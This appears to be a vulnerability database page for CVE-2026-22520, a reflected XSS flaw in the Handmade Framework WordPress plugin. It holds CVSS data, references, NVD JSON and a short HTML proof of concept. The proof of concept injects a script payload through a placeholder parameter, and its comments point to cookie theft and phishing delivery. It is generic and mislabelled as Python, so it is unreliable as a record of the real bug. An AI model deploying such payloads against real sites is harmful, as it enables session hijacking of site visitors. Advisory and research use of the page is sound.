CVE-2026-22520

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in G5Theme Handmade Framework handmade-framework allows Reflected XSS.This issue affects Handmade Framework: from n/a through <= 3.9.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Handmade Framework <= 3.9

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-22520 -->
<!-- Reflected XSS in G5Theme Handmade Framework -->

<html>
<body>
<script>
  // Define the malicious payload
  // In a real attack, this could be code to steal document.cookie
  var payload = '<script>alert(1)<\/script>';

  // Construct the target URL
  // Replace 'VULNERABLE_PARAMETER' with the actual parameter name from the plugin
  var baseUrl = 'http://target-wordpress-site/';
  var exploitUrl = baseUrl + '?VULNERABLE_PARAMETER=' + encodeURIComponent(payload);

  // Simulate the victim visiting the link
  // In a social engineering attack, this would be sent via email or chat
  window.location.href = exploitUrl;
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-22520
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-22520
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-22520/
[4] VulDB https://vuldb.com/cve/CVE-2026-22520
[5] https://patchstack.com/database/Wordpress/Plugin/handmade-framework/vulnerability/wordpress-handmade-framework-plugin-3-9-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-22520", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:34.227", "lastModified": "2026-04-24T16:32:53.997", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in G5Theme Handmade Framework handmade-framework allows Reflected XSS.This issue affects Handmade Framework: from n/a through <= 3.9."}, {"lang": "es", "value": "Vulnerabilidad de Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') en G5Theme Handmade Framework handmade-framework permite XSS Reflejado. Este problema afecta a Handmade Framework: desde n/a hasta <= 3.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/handmade-framework/vulnerability/wordpress-handmade-framework-plugin-3-9-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}